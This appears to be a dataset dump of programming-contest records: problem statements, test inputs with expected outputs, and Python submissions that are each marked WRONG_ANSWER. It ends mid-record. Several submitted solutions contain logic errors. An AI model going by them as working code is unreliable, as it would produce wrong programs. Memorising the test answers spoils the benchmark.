[ { "input": "1 1", "output": "NO" }, { "input": "5 5", "output": "YES\n2 1\n5 5\n-2 4" }, { "input": "5 10", "output": "YES\n-10 4\n-2 -2\n1 2" }, { "input": "2 2", "output": "NO" }, { "input": "5 6", "output": "NO" }, { "input": "5 11", "output": "NO" }, { "input": "10 15", "output": "YES\n0 0\n6 8\n-12 9" }, { "input": "935 938", "output": "NO" }, { "input": "999 1000", "output": "NO" }, { "input": "1000 1000", "output": "YES\n0 0\n280 960\n-960 280" }, { "input": "15 20", "output": "YES\n0 0\n12 9\n-12 16" }, { "input": "20 15", "output": "YES\n0 0\n12 16\n-12 9" }, { "input": "629 865", "output": "NO" }, { "input": "45 872", "output": "NO" }, { "input": "757 582", "output": "NO" }, { "input": "173 588", "output": "NO" }, { "input": "533 298", "output": "NO" }, { "input": "949 360", "output": "NO" }, { "input": "661 175", "output": "NO" }, { "input": "728 299", "output": "YES\n0 0\n280 672\n-276 115" }, { "input": "575 85", "output": "YES\n0 0\n345 460\n-68 51" }, { "input": "385 505", "output": "YES\n0 0\n231 308\n-404 303" }, { "input": "755 865", "output": "YES\n0 0\n453 604\n-692 519" }, { "input": "395 55", "output": "YES\n0 0\n237 316\n-44 33" }, { "input": "600 175", "output": "YES\n0 0\n168 576\n-168 49" }, { "input": "280 210", "output": "YES\n0 0\n168 224\n-168 126" }, { "input": "180 135", "output": "YES\n0 0\n108 144\n-108 81" }, { "input": "140 105", "output": "YES\n0 0\n84 112\n-84 63" }, { "input": "440 330", "output": "YES\n0 0\n264 352\n-264 198" }, { "input": "130 312", "output": "YES\n0 0\n120 50\n-120 288" }, { "input": "65 156", "output": "YES\n0 0\n60 25\n-60 144" }, { "input": "105 140", "output": "YES\n0 0\n84 63\n-84 112" }, { "input": "408 765", "output": "YES\n0 0\n360 192\n-360 675" }, { "input": "195 468", "output": "YES\n0 0\n180 75\n-180 432" }, { "input": "305 949", "output": "NO" }, { "input": "80 60", "output": "YES\n0 0\n48 64\n-48 36" }, { "input": "15 15", "output": "YES\n0 0\n9 12\n-12 9" }, { "input": "120 90", "output": "YES\n0 0\n72 96\n-72 54" }, { "input": "60 80", "output": "YES\n0 0\n48 36\n-48 64" }, { "input": "5 25", "output": "YES\n0 0\n3 4\n-20 15" }, { "input": "5 1000", "output": "YES\n0 0\n3 4\n-800 600" }, { "input": "25 35", "output": "YES\n0 0\n15 20\n-28 21" }, { "input": "25 5", "output": "YES\n0 0\n15 20\n-4 3" }, { "input": "30 40", "output": "YES\n0 0\n24 18\n-24 32" }, { "input": "65 156", "output": "YES\n0 0\n60 25\n-60 144" }, { "input": "455 470", "output": "YES\n0 0\n273 364\n-376 282" }, { "input": "90 120", "output": "YES\n0 0\n72 54\n-72 96" }, { "input": "5 205", "output": "YES\n0 0\n3 4\n-164 123" }, { "input": "111 111", "output": "YES\n0 0\n36 105\n-105 36" }, { "input": "17 17", "output": "YES\n0 0\n8 15\n-15 8" }, { "input": "1000 5", "output": "YES\n0 0\n600 800\n-4 3" } ]
1,442,855,861
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
9
93
409,600
import math x,y = map(int, input().split()) val1 = 0 val2 = 0 val3 = 0 val4 = 0 for i in range(1, 40): if x*x-i*i>0: d = x*x-i*i b = 0 for j in range(1,40): if j*j==d: b = j break if b==0: continue val1 = i val2 = b break for i in range(1, 40): if y*y-i*i>0: d = y*y-i*i b = 0 for j in range(1,40): if j*j==d: b = j break if b==0: continue val3 = i val4 = b break if val1==0 or val2==0 or val3==0 or val4==0: print("NO") else: print("YES\n0 0") print(str(val2)+" "+str(-val1)) print(str(val2+val3)+" "+str(-val1+val4))
Title: none Time Limit: None seconds Memory Limit: None megabytes Problem Description: There is a right triangle with legs of length *a* and *b*. Your task is to determine whether it is possible to locate the triangle on the plane in such a way that none of its sides is parallel to the coordinate axes. All the vertices must have integer coordinates. If there exists such a location, you have to output the appropriate coordinates of vertices. Input Specification: The first line contains two integers *a*,<=*b* (1<=≤<=*a*,<=*b*<=≤<=1000), separated by a single space. Output Specification: In the first line print either "YES" or "NO" (without the quotes) depending on whether the required location exists. If it does, print in the next three lines three pairs of integers — the coordinates of the triangle vertices, one pair per line. The coordinates must be integers, not exceeding 109 in their absolute value. Demo Input: ['1 1\n', '5 5\n', '5 10\n'] Demo Output: ['NO\n', 'YES\n2 1\n5 5\n-2 4\n', 'YES\n-10 4\n-2 -2\n1 2\n'] Note: none
```python import math x,y = map(int, input().split()) val1 = 0 val2 = 0 val3 = 0 val4 = 0 for i in range(1, 40): if x*x-i*i>0: d = x*x-i*i b = 0 for j in range(1,40): if j*j==d: b = j break if b==0: continue val1 = i val2 = b break for i in range(1, 40): if y*y-i*i>0: d = y*y-i*i b = 0 for j in range(1,40): if j*j==d: b = j break if b==0: continue val3 = i val4 = b break if val1==0 or val2==0 or val3==0 or val4==0: print("NO") else: print("YES\n0 0") print(str(val2)+" "+str(-val1)) print(str(val2+val3)+" "+str(-val1+val4)) ```
0
427
A
Police Recruits
PROGRAMMING
800
[ "implementation" ]
null
null
The police department of your city has just started its journey. Initially, they don’t have any manpower. So, they started hiring new recruits in groups. Meanwhile, crimes keeps occurring within the city. One member of the police force can investigate only one crime during his/her lifetime. If there is no police officer free (isn't busy with crime) during the occurrence of a crime, it will go untreated. Given the chronological order of crime occurrences and recruit hirings, find the number of crimes which will go untreated.
The first line of input will contain an integer *n* (1<=≤<=*n*<=≤<=105), the number of events. The next line will contain *n* space-separated integers. If the integer is -1 then it means a crime has occurred. Otherwise, the integer will be positive, the number of officers recruited together at that time. No more than 10 officers will be recruited at a time.
Print a single integer, the number of crimes which will go untreated.
[ "3\n-1 -1 1\n", "8\n1 -1 1 -1 -1 1 1 1\n", "11\n-1 -1 2 -1 -1 -1 -1 -1 -1 -1 -1\n" ]
[ "2\n", "1\n", "8\n" ]
Lets consider the second example: 1. Firstly one person is hired. 1. Then crime appears, the last hired person will investigate this crime. 1. One more person is hired. 1. One more crime appears, the last hired person will investigate this crime. 1. Crime appears. There is no free policeman at the time, so this crime will go untreated. 1. One more person is hired. 1. One more person is hired. 1. One more person is hired. The answer is one, as one crime (on step 5) will go untreated.
500
[ { "input": "3\n-1 -1 1", "output": "2" }, { "input": "8\n1 -1 1 -1 -1 1 1 1", "output": "1" }, { "input": "11\n-1 -1 2 -1 -1 -1 -1 -1 -1 -1 -1", "output": "8" }, { "input": "7\n-1 -1 1 1 -1 -1 1", "output": "2" }, { "input": "21\n-1 -1 -1 -1 -1 3 2 -1 6 -1 -1 2 1 -1 2 2 1 6 5 -1 5", "output": "5" }, { "input": "98\n-1 -1 1 -1 -1 -1 -1 1 -1 -1 1 -1 -1 1 -1 1 1 1 -1 1 1 1 1 1 -1 1 -1 -1 -1 -1 1 -1 -1 1 1 -1 1 1 1 -1 -1 -1 -1 -1 -1 1 -1 -1 -1 1 -1 1 -1 1 -1 1 1 1 1 1 1 1 -1 -1 1 1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 1 -1 1 1 1 -1 1 1 -1 -1 -1 1 1 1 -1 -1 -1 1 -1 1 1", "output": "13" }, { "input": "3\n-1 5 4", "output": "1" }, { "input": "146\n4 -1 -1 -1 -1 -1 -1 -1 -1 -1 4 -1 3 -1 3 -1 -1 1 4 -1 2 -1 -1 3 -1 -1 -1 4 1 -1 -1 -1 4 -1 -1 -1 -1 -1 -1 3 2 -1 3 2 4 5 2 4 1 5 -1 -1 2 -1 -1 1 -1 5 3 -1 1 2 2 3 5 3 -1 -1 3 -1 -1 3 5 5 -1 -1 5 -1 4 4 1 -1 -1 -1 2 1 -1 -1 -1 2 5 3 -1 -1 -1 3 -1 5 4 -1 1 -1 -1 3 -1 -1 3 1 1 2 -1 -1 -1 1 3 1 -1 2 -1 -1 5 5 -1 -1 3 4 5 1 -1 2 -1 -1 -1 3 -1 5 3 2 -1 2 -1 -1 5 -1 3 -1", "output": "5" }, { "input": "1\n2", "output": "0" }, { "input": "1\n-1", "output": "1" }, { "input": "2\n1 -1", "output": "0" }, { "input": "2\n-1 1", "output": "1" }, { "input": "2\n1 1", "output": "0" }, { "input": "2\n-1 -1", "output": "2" }, { "input": "4\n10 -1 -1 -1", "output": "0" }, { "input": "1\n1", "output": "0" }, { "input": "4\n-1 -1 1 1", "output": "2" } ]
1,697,442,900
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
3
31
0
n = int(input()) event = list(map(int, input().split())) x = len(event) y = 0 police = 0 uns_crimes = 0 while x > 0: if event[y] == -1 and police == 0: uns_crimes += 1 elif event[y] and police > 0: police -= 1 else: police += event[y] x -= 1 y += 1 print (uns_crimes)
Title: Police Recruits Time Limit: None seconds Memory Limit: None megabytes Problem Description: The police department of your city has just started its journey. Initially, they don’t have any manpower. So, they started hiring new recruits in groups. Meanwhile, crimes keeps occurring within the city. One member of the police force can investigate only one crime during his/her lifetime. If there is no police officer free (isn't busy with crime) during the occurrence of a crime, it will go untreated. Given the chronological order of crime occurrences and recruit hirings, find the number of crimes which will go untreated. Input Specification: The first line of input will contain an integer *n* (1<=≤<=*n*<=≤<=105), the number of events. The next line will contain *n* space-separated integers. If the integer is -1 then it means a crime has occurred. Otherwise, the integer will be positive, the number of officers recruited together at that time. No more than 10 officers will be recruited at a time. Output Specification: Print a single integer, the number of crimes which will go untreated. Demo Input: ['3\n-1 -1 1\n', '8\n1 -1 1 -1 -1 1 1 1\n', '11\n-1 -1 2 -1 -1 -1 -1 -1 -1 -1 -1\n'] Demo Output: ['2\n', '1\n', '8\n'] Note: Lets consider the second example: 1. Firstly one person is hired. 1. Then crime appears, the last hired person will investigate this crime. 1. One more person is hired. 1. One more crime appears, the last hired person will investigate this crime. 1. Crime appears. There is no free policeman at the time, so this crime will go untreated. 1. One more person is hired. 1. One more person is hired. 1. One more person is hired. The answer is one, as one crime (on step 5) will go untreated.
```python n = int(input()) event = list(map(int, input().split())) x = len(event) y = 0 police = 0 uns_crimes = 0 while x > 0: if event[y] == -1 and police == 0: uns_crimes += 1 elif event[y] and police > 0: police -= 1 else: police += event[y] x -= 1 y += 1 print (uns_crimes) ```
0
109
A
Lucky Sum of Digits
PROGRAMMING
1,000
[ "brute force", "implementation" ]
A. Lucky Sum of Digits
2
256
Petya loves lucky numbers. We all know that lucky numbers are the positive integers whose decimal representations contain only the lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Petya wonders eagerly what minimum lucky number has the sum of digits equal to *n*. Help him cope with the task.
The single line contains an integer *n* (1<=≤<=*n*<=≤<=106) — the sum of digits of the required lucky number.
Print on the single line the result — the minimum lucky number, whose sum of digits equals *n*. If such number does not exist, print -1.
[ "11\n", "10\n" ]
[ "47\n", "-1\n" ]
none
500
[ { "input": "11", "output": "47" }, { "input": "10", "output": "-1" }, { "input": "64", "output": "4477777777" }, { "input": "1", "output": "-1" }, { "input": "4", "output": "4" }, { "input": "7", "output": "7" }, { "input": "12", "output": "444" }, { "input": "1000000", "output": "4477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "47", "output": "44477777" }, { "input": "100", "output": "4444777777777777" }, { "input": "700", "output": "7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "485", "output": "44447777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "111", "output": "444447777777777777" }, { "input": "85", "output": "4477777777777" }, { "input": "114", "output": "444477777777777777" }, { "input": "474", "output": "444777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "74", "output": "47777777777" }, { "input": "1000", "output": "4444477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "1024", "output": "4444777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "4444", "output": "4444477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "45784", "output": "4777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "10000", "output": "4777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "9854", "output": "4447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "186", "output": "477777777777777777777777777" }, { "input": "10416", "output": "7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "10417", "output": "4477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "3840", "output": "4777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "100000", "output": "4447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "9876", "output": "4444477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "99999", "output": "4777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "777777", "output": "7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "854759", "output": "4444447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "11000", "output": "4444447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "18951", "output": "4444777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "999999", "output": "7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "888887", "output": "4444477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "999998", "output": "4444477777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "40008", "output": "4444447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "10691", "output": "4444777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "5", "output": "-1" }, { "input": "6", "output": "-1" }, { "input": "9", "output": "-1" }, { "input": "8", "output": "44" }, { "input": "2", "output": "-1" }, { "input": "3", "output": "-1" }, { "input": "999997", "output": "4447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "999996", "output": "4777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "999990", "output": "4447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "999980", "output": "4444777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "800000", "output": "4447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." }, { "input": "980000", "output": "7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777..." } ]
1,594,556,333
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
0
248
20,172,800
n = int(input()) for i in range(n//7+1): res = n - 7 * i if res % 4 == 0 : x = res // 4 print('7' * i + '4' * x) exit() print('-1')
Title: Lucky Sum of Digits Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Petya loves lucky numbers. We all know that lucky numbers are the positive integers whose decimal representations contain only the lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Petya wonders eagerly what minimum lucky number has the sum of digits equal to *n*. Help him cope with the task. Input Specification: The single line contains an integer *n* (1<=≤<=*n*<=≤<=106) — the sum of digits of the required lucky number. Output Specification: Print on the single line the result — the minimum lucky number, whose sum of digits equals *n*. If such number does not exist, print -1. Demo Input: ['11\n', '10\n'] Demo Output: ['47\n', '-1\n'] Note: none
```python n = int(input()) for i in range(n//7+1): res = n - 7 * i if res % 4 == 0 : x = res // 4 print('7' * i + '4' * x) exit() print('-1') ```
0
791
A
Bear and Big Brother
PROGRAMMING
800
[ "implementation" ]
null
null
Bear Limak wants to become the largest of bears, or at least to become larger than his brother Bob. Right now, Limak and Bob weigh *a* and *b* respectively. It's guaranteed that Limak's weight is smaller than or equal to his brother's weight. Limak eats a lot and his weight is tripled after every year, while Bob's weight is doubled after every year. After how many full years will Limak become strictly larger (strictly heavier) than Bob?
The only line of the input contains two integers *a* and *b* (1<=≤<=*a*<=≤<=*b*<=≤<=10) — the weight of Limak and the weight of Bob respectively.
Print one integer, denoting the integer number of years after which Limak will become strictly larger than Bob.
[ "4 7\n", "4 9\n", "1 1\n" ]
[ "2\n", "3\n", "1\n" ]
In the first sample, Limak weighs 4 and Bob weighs 7 initially. After one year their weights are 4·3 = 12 and 7·2 = 14 respectively (one weight is tripled while the other one is doubled). Limak isn't larger than Bob yet. After the second year weights are 36 and 28, so the first weight is greater than the second one. Limak became larger than Bob after two years so you should print 2. In the second sample, Limak's and Bob's weights in next years are: 12 and 18, then 36 and 36, and finally 108 and 72 (after three years). The answer is 3. Remember that Limak wants to be larger than Bob and he won't be satisfied with equal weights. In the third sample, Limak becomes larger than Bob after the first year. Their weights will be 3 and 2 then.
500
[ { "input": "4 7", "output": "2" }, { "input": "4 9", "output": "3" }, { "input": "1 1", "output": "1" }, { "input": "4 6", "output": "2" }, { "input": "1 10", "output": "6" }, { "input": "1 1", "output": "1" }, { "input": "1 2", "output": "2" }, { "input": "1 3", "output": "3" }, { "input": "1 4", "output": "4" }, { "input": "1 5", "output": "4" }, { "input": "1 6", "output": "5" }, { "input": "1 7", "output": "5" }, { "input": "1 8", "output": "6" }, { "input": "1 9", "output": "6" }, { "input": "1 10", "output": "6" }, { "input": "2 2", "output": "1" }, { "input": "2 3", "output": "2" }, { "input": "2 4", "output": "2" }, { "input": "2 5", "output": "3" }, { "input": "2 6", "output": "3" }, { "input": "2 7", "output": "4" }, { "input": "2 8", "output": "4" }, { "input": "2 9", "output": "4" }, { "input": "2 10", "output": "4" }, { "input": "3 3", "output": "1" }, { "input": "3 4", "output": "1" }, { "input": "3 5", "output": "2" }, { "input": "3 6", "output": "2" }, { "input": "3 7", "output": "3" }, { "input": "3 8", "output": "3" }, { "input": "3 9", "output": "3" }, { "input": "3 10", "output": "3" }, { "input": "4 4", "output": "1" }, { "input": "4 5", "output": "1" }, { "input": "4 6", "output": "2" }, { "input": "4 7", "output": "2" }, { "input": "4 8", "output": "2" }, { "input": "4 9", "output": "3" }, { "input": "4 10", "output": "3" }, { "input": "5 5", "output": "1" }, { "input": "5 6", "output": "1" }, { "input": "5 7", "output": "1" }, { "input": "5 8", "output": "2" }, { "input": "5 9", "output": "2" }, { "input": "5 10", "output": "2" }, { "input": "6 6", "output": "1" }, { "input": "6 7", "output": "1" }, { "input": "6 8", "output": "1" }, { "input": "6 9", "output": "2" }, { "input": "6 10", "output": "2" }, { "input": "7 7", "output": "1" }, { "input": "7 8", "output": "1" }, { "input": "7 9", "output": "1" }, { "input": "7 10", "output": "1" }, { "input": "8 8", "output": "1" }, { "input": "8 9", "output": "1" }, { "input": "8 10", "output": "1" }, { "input": "9 9", "output": "1" }, { "input": "9 10", "output": "1" }, { "input": "10 10", "output": "1" }, { "input": "10 10", "output": "1" }, { "input": "1 2", "output": "2" } ]
1,698,142,958
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
0
46
0
a,b=map(int,input().split()) i=1 while a<b: a=a+3*i b=b+2*i i=i+1 print(i)
Title: Bear and Big Brother Time Limit: None seconds Memory Limit: None megabytes Problem Description: Bear Limak wants to become the largest of bears, or at least to become larger than his brother Bob. Right now, Limak and Bob weigh *a* and *b* respectively. It's guaranteed that Limak's weight is smaller than or equal to his brother's weight. Limak eats a lot and his weight is tripled after every year, while Bob's weight is doubled after every year. After how many full years will Limak become strictly larger (strictly heavier) than Bob? Input Specification: The only line of the input contains two integers *a* and *b* (1<=≤<=*a*<=≤<=*b*<=≤<=10) — the weight of Limak and the weight of Bob respectively. Output Specification: Print one integer, denoting the integer number of years after which Limak will become strictly larger than Bob. Demo Input: ['4 7\n', '4 9\n', '1 1\n'] Demo Output: ['2\n', '3\n', '1\n'] Note: In the first sample, Limak weighs 4 and Bob weighs 7 initially. After one year their weights are 4·3 = 12 and 7·2 = 14 respectively (one weight is tripled while the other one is doubled). Limak isn't larger than Bob yet. After the second year weights are 36 and 28, so the first weight is greater than the second one. Limak became larger than Bob after two years so you should print 2. In the second sample, Limak's and Bob's weights in next years are: 12 and 18, then 36 and 36, and finally 108 and 72 (after three years). The answer is 3. Remember that Limak wants to be larger than Bob and he won't be satisfied with equal weights. In the third sample, Limak becomes larger than Bob after the first year. Their weights will be 3 and 2 then.
```python a,b=map(int,input().split()) i=1 while a<b: a=a+3*i b=b+2*i i=i+1 print(i) ```
0
1,008
A
Romaji
PROGRAMMING
900
[ "implementation", "strings" ]
null
null
Vitya has just started learning Berlanese language. It is known that Berlanese uses the Latin alphabet. Vowel letters are "a", "o", "u", "i", and "e". Other letters are consonant. In Berlanese, there has to be a vowel after every consonant, but there can be any letter after any vowel. The only exception is a consonant "n"; after this letter, there can be any letter (not only a vowel) or there can be no letter at all. For example, the words "harakiri", "yupie", "man", and "nbo" are Berlanese while the words "horse", "king", "my", and "nz" are not. Help Vitya find out if a word $s$ is Berlanese.
The first line of the input contains the string $s$ consisting of $|s|$ ($1\leq |s|\leq 100$) lowercase Latin letters.
Print "YES" (without quotes) if there is a vowel after every consonant except "n", otherwise print "NO". You can print each letter in any case (upper or lower).
[ "sumimasen\n", "ninja\n", "codeforces\n" ]
[ "YES\n", "YES\n", "NO\n" ]
In the first and second samples, a vowel goes after each consonant except "n", so the word is Berlanese. In the third sample, the consonant "c" goes after the consonant "r", and the consonant "s" stands on the end, so the word is not Berlanese.
500
[ { "input": "sumimasen", "output": "YES" }, { "input": "ninja", "output": "YES" }, { "input": "codeforces", "output": "NO" }, { "input": "auuaoonntanonnuewannnnpuuinniwoonennyolonnnvienonpoujinndinunnenannmuveoiuuhikucuziuhunnnmunzancenen", "output": "YES" }, { "input": "n", "output": "YES" }, { "input": "necnei", "output": "NO" }, { "input": "nternn", "output": "NO" }, { "input": "aucunuohja", "output": "NO" }, { "input": "a", "output": "YES" }, { "input": "b", "output": "NO" }, { "input": "nn", "output": "YES" }, { "input": "nnnzaaa", "output": "YES" }, { "input": "zn", "output": "NO" }, { "input": "ab", "output": "NO" }, { "input": "aaaaaaaaaa", "output": "YES" }, { "input": "aaaaaaaaab", "output": "NO" }, { "input": "aaaaaaaaan", "output": "YES" }, { "input": "baaaaaaaaa", "output": "YES" }, { "input": "naaaaaaaaa", "output": "YES" }, { "input": "nbaaaaaaaa", "output": "YES" }, { "input": "bbaaaaaaaa", "output": "NO" }, { "input": "bnaaaaaaaa", "output": "NO" }, { "input": "eonwonojannonnufimiiniewuqaienokacevecinfuqihatenhunliquuyebayiaenifuexuanenuaounnboancaeowonu", "output": "YES" }, { "input": "uixinnepnlinqaingieianndeakuniooudidonnnqeaituioeneiroionxuowudiooonayenfeonuino", "output": "NO" }, { "input": 